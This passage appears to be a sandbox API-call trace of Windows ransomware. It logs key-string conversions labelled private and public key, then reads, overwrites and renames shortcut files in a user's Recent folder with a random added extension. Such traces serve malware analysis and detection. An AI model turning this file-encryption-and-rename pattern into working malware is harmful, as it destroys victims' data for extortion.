ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0084.487] GetCurrentThreadId () returned 0xa30 [0084.487] GetCurrentThreadId () returned 0xa30 [0084.487] GetCurrentThreadId () returned 0xa30 [0084.487] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0084.487] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0084.488] GetCurrentThreadId () returned 0xa30 [0084.488] GetCurrentThreadId () returned 0xa30 [0084.488] GetCurrentThreadId () returned 0xa30 [0084.488] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vvHLRrn4vyqF-1i1p.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\vvhlrrn4vyqf-1i1p.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0084.488] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0084.488] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0084.488] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x20f9 [0084.489] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0084.489] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x20f9, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x20f9, lpOverlapped=0x0) returned 1 [0084.490] CloseHandle (hObject=0x124) returned 1 [0084.491] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vvHLRrn4vyqF-1i1p.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\vvhlrrn4vyqf-1i1p.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0084.493] WriteFile (in: hFile=0x124, lpBuffer=0x1f90730*, nNumberOfBytesToWrite=0x20f9, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f90730*, lpNumberOfBytesWritten=0x18f978*=0x20f9, lpOverlapped=0x0) returned 1 [0084.495] CloseHandle (hObject=0x124) returned 1 [0084.508] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vvHLRrn4vyqF-1i1p.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\vvhlrrn4vyqf-1i1p.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vvHLRrn4vyqF-1i1p.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\vvhlrrn4vyqf-1i1p.lnk.zv7un")) returned 1 [0084.509] GetCurrentThreadId () returned 0xa30 [0084.509] GetCurrentThreadId () returned 0xa30 [0084.509] GetCurrentThreadId () returned 0xa30 [0084.509] GetCurrentThreadId () returned 0xa30 [0084.509] GetCurrentThreadId () returned 0xa30 [0084.509] GetCurrentThreadId () returned 0xa30 [0084.509] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0524480, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0x3d710fc0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d710fc0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x26e, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="WkutMmuC.lnk", cAlternateFileName="")) returned 1 [0084.510] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.510] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.510] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WkutMmuC.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\wkutmmuc.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0524480, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0x3d710fc0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d710fc0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x26e)) returned 1 [0084.510] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WkutMmuC.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\wkutmmuc.lnk")) returned 0x20 [0084.510] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WkutMmuC.lnk", dwFileAttributes=0x80) returned 1 [0084.512] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0084.512] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwr